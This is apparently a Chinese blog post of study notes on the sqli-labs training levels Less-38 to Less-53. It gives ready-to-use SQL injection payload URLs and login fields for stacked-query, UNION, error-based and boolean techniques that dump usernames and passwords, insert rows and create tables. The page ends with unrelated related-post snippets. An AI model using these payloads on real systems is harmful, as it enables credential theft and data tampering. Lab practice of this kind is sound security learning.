续上,开门见山


堆叠注入,实际上就构成了两条SQL语句

http://43.247.91.228:84/Less-38/?id=1' union select 1,2,3 --+    //未报错

http://43.247.91.228:84/Less-38/?id=1' union select 1,2,3,4 --+     //报错

查询出有三个字段,

使用堆叠注入,

暴位置

http://43.247.91.228:84/Less-38/?id=-1' union select 1,2,3;insert into users values(33,'joker','joker')  --+

爆表

http://43.247.91.228:84/Less-38/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();insert into users values(33,'joker','joker')  --+

暴字段

http://43.247.91.228:84/Less-38/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';insert into users values(33,'joker','joker')  --+

暴值

http://43.247.91.228:84/Less-38/?id=-1' union select 1,2,group_concat(username,0x3a,password) from users;insert into users values(33,'joker','joker')  --+


同上题,只不过没有单引号

暴位置

http://43.247.91.228:84/Less-39/?id=-1 union select 1,2,3;insert into users values(33,'joker','joker')

爆表

http://43.247.91.228:84/Less-39/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();insert into users values(33,'joker','joker')

暴字段

http://43.247.91.228:84/Less-39/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';insert into users values(33,'joker','joker')

暴值

http://43.247.91.228:84/Less-39/?id=-1 union select 1,2,group_concat(username,0x3a,password) from users;insert into users values(33,'joker','joker')


同上题,只不过加上单引号和右括号 ‘)

使用堆叠注入,

暴位置

http://43.247.91.228:84/Less-40/?id=-1') union select 1,2,3;insert into users values(33,'joker','joker')  --+

爆表

http://43.247.91.228:84/Less-40/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();insert into users values(33,'joker','joker')  --+

暴字段

http://43.247.91.228:84/Less-40/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';insert into users values(33,'joker','joker')  --+

暴值

http://43.247.91.228:84/Less-40/?id=-1') union select 1,2,group_concat(username,0x3a,password) from users;insert into users values(33,'joker','joker')  --+


同39一样,只不过错误没有回显

暴位置

http://43.247.91.228:84/Less-41/?id=-1 union select 1,2,3;insert into users values(33,'joker','joker')

爆表

http://43.247.91.228:84/Less-41/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();insert into users values(33,'joker','joker')

暴字段

http://43.247.91.228:84/Less-41/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';insert into users values(33,'joker','joker')

暴值

http://43.247.91.228:84/Less-41/?id=-1 union select 1,2,group_concat(username,0x3a,password) from users;insert into users values(33,'joker','joker')


login_user=admin&login_password=c';create table less42 like users #&mysubmit=Login

登录时构造的sql语句为
SELECT * FROM users WHERE username='admin' and password='c';create table less42 like users#

同样的利用此方式可以更新和插入数据项。


同上,只不过多了一个c’); 
payload-password: c’);create table less43 like users#


同上42,只是没有回显信息 
payload-password:a’;insert into users(id,username,password) values (‘144’,’less44’,’hello’)#


同上43,只是没有回显信息 
payload-password:c’);create table less43 like users#


尝试?sort=1 desc或者asc,显示结果不同,则表明可以注入。(升序or降序排列)

http://43.247.91.228:84/Less-46/?sort=1 asc

http://43.247.91.228:84/Less-46/?sort=1 desc

我们可利用order by后的一些参数进行注入。
1)、order by 后的数字可以作为一个注入点。也就是构造order by 后的一个语句,让该语句执行结果为一个数,我们尝试
http://43.247.91.228:84/Less-46/?sort=left(version(),1)
没有报错,但是right换成left都一样,说明数字没有起作用,我们考虑布尔类型。此时我们可以用报错注入和延时注入。
此处可以直接构造 ?sort= 后面的一个参数。此时,我们可以有三种形式,
①直接添加注入语句,?sort=(select ******)
②利用一些函数。例如rand()函数等。?sort=rand(sql语句)
Ps:此处我们可以展示一下rand(ture)和rand(false)的结果是不一样的。

③利用and,例如?sort=1 and (加sql语句)。
同时,sql语句可以利用报错注入和延时注入的方式,语句我们可以很灵活的构造。

报错注入:

爆表:

http://43.247.91.228:84/Less-46/?sort=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

暴列:

http://43.247.91.228:84/Less-46/?sort=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

暴值:

http://43.247.91.228:84/Less-46/?sort=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) --+

显示未完全:
http://43.247.91.228:84/Less-46/?sort=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina')))) --+


同上,只不过变成字符型了,多一个单引号

暴表:

http://43.247.91.228:84/Less-47/?sort=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

暴列:

http://43.247.91.228:84/Less-47/?sort=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

暴值:

http://43.247.91.228:84/Less-47/?sort=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) --+

显示未完全:

http://43.247.91.228:84/Less-47/?sort=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina')))) --+


本关与less-46的区别在于报错注入不能使用,不进行错误回显,因此其他的方法我们依旧是可以使用的。
可以利用sort=rand(true/false)进行判断。

猜解库名:

http://43.247.91.228:84/Less-48/?sort=rand(left(database(),1)='s')

正确的

http://43.247.91.228:84/Less-48/?sort=rand(left(database(),1)='d')

错误的

猜解表

http://43.247.91.228:84/Less-48/?sort=rand(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e')

猜解列

http://43.247.91.228:84/Less-48/?sort=rand(left((select column_name from information_schema.columns where table_name='users' limit 0,1),1)='i')

猜解值

http://43.247.91.228:84/Less-48/?sort=rand(left((select username from users limit 0,1),1)='d')

也可以用And后的延时注入


本关与47关基本类似,区别在于没有错误回显,所以我们可以通过延时注入进行注入。
利用延时注入


mysqli_multi_query()可以执行多条sql 这个实验使用的是这个函数 
mysqli_query() 只可以执行一条

http://43.247.91.228:84/Less-50/?sort=1;create table less50 like users --+

进行插入和修改操作。


同less50,只不过是字符型 
mysqli_multi_query()可以执行多条sql 这个实验使用的是这个函数 
mysqli_query() 只可以执行一条


同上50,只不过不显示错误

payload:?sort=1;create%20table%20less50%20like%20users


同上51,只不过不显示错误

payload:?sort=1%27;create%20table%20less53%20like%20users–+


  感谢看雪提供的学习平台

未完待续...

sqli_labs学习笔记(一)Less-38~Less-53的更多相关文章

  1. sqli_labs学习笔记(一)Less-54~Less-65

    续上,开门见山 暴库: http://43.247.91.228:84/Less-54/?id=-1' union select 1,2,database() --+ challenges 爆表: h ...

  2. sqli_labs学习笔记(一)Less-21~Less-37

    续上,开门见山 Less-21 Cookie Injection- Error Based- complex - string ( 基于错误的复杂的字符型Cookie注入) 登录后页面 圈出来的地方显 ...

  3. sqli_labs学习笔记(一)Less-1~Less-20

    开门见山 Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入) ·  方法一:手工UNION联合查询注入 输入单引号, ...

  4. 《从零开始学Swift》学习笔记(Day 38)——构造函数与存储属性初始化

    原创文章,欢迎转载.转载请注明:关东升的博客 构造函数的主要作用是初始化实例,其中包括:初始化存储属性和其它的初始化.在Rectangle类或结构体中,如果在构造函数中初始化存储属性width和hei ...

  5. Effective STL 学习笔记 Item 38 : Design functor classes for pass-by-value

    Effective STL 学习笔记 Item 38 : Design functor classes for pass-by-value */--> div.org-src-container ...

  6. Flutter学习笔记(38)--自定义控件之组合控件

    如需转载,请注明出处:Flutter学习笔记(38)--自定义控件之组合控件 在开始之前想先写点其他的,emm...就是今天在学习到自定义控件的时候,由于自定义控件这块一直是我的短板,无论是Andro ...

  7. [原创]java WEB学习笔记53:Struts2学习之路---前奏:使用 Filter 作为控制器的 MVC

    本博客的目的:①总结自己的学习过程,相当于学习笔记 ②将自己的经验分享给大家,相互学习,互相交流,不可商用 内容难免出现问题,欢迎指正,交流,探讨,可以留言,也可以通过以下方式联系. 本人互联网技术爱 ...

  8. [原创]java WEB学习笔记38:EL 中的 11个 隐含对象 详解

    本博客为原创:综合 尚硅谷(http://www.atguigu.com)的系统教程(深表感谢)和 网络上的现有资源(博客,文档,图书等),资源的出处我会标明 本博客的目的:①总结自己的学习过程,相当 ...

  9. Linux 学习笔记

    Linux学习笔记 请切换web视图查看,表格比较大,方法:视图>>web板式视图 博客园不能粘贴图片吗 http://wenku.baidu.com/view/bda1c3067fd53 ...

随机推荐

  1. Java 学习笔记(6)——继承

    之前说过了Java中面向对象的第一个特征--封装,这篇来讲它的第二个特征--继承.一般在程序设计中,继承是为了减少重复代码. 继承的基本介绍 public class Child extends Pa ...

  2. char* 、const char*和string之间的转换

    1. const char* 和string 转换 (1) const char*转换为 string,直接赋值即可.     EX: const char* tmp = "tsinghua ...

  3. Perl中神奇的@EXPORT

    @EXPORT Perl通过继承,可以使子类可以像使用本地方法一样使用其基类的方法. 一个类如果想把自己的方法(变量)暴露给别人使用(比如一些公共基础类的的通用方法或变量),还可将直接将方法(变量)添 ...

  4. nor flash之频率限制

    背景 支持一款nor flash时,出于性能考虑,一般会查看其nor支持的最高频率以及主控端spi控制器的最高频率,以选择一个合适的运行频率. 对于一款主控支持多款flash的情况,还得考虑好兼容性等 ...

  5. 2020 中国 .NET 开发者调查问卷

    随着.NET Core 3.1的发布,国内2019 中国.NET开发者峰会在上海的成功举办.从技术采用生命周期的角度来说,随着.NET Core 3.1的发布,有越来越多的厂商开始采用.NET Cor ...

  6. 双系统,重装windows 无法进入Windows安装界面

    解决办法 windows引导并没有被更新 进入linux 更新grub sudo update-grub 然后重启电脑,进行下一步安装 原理 grub是引导操作系统的程序,它会根据自己的配置文件,去引 ...

  7. 「Luogu P3183」[HAOI2016]食物链 解题报告

    身为一个蒟蒻,由于刷不过[NOI2001]食物链 于是出门左转写了道另一道假的食物链 戳这里 这里的食物链个条数其实就是有向图的路径数(应该是这么说吧,我弱) 思路: 拓扑(Topulogy)(一本正 ...

  8. kafka sasl/plain安全认证

    1.SASL认证机制版本支持 SASL/GSSAPI (Kerberos) - starting at version 0.9.0.0SASL/PLAIN - starting at version ...

  9. .Net PE

    // ConsoleApplication26.cpp: 定义控制台应用程序的入口点. // #include "stdafx.h" #include <Windows.h& ...

  10. Java集合概述(上)

    Java集合概述(上) 前言 先说说,为什么要写这么一篇博客(我总是喜欢写原因).因为最近到年底了,正好又要准备面试,所以在做各方面的技术总结.而Java集合是Java非常重要的一部分,自己前前后后也 ...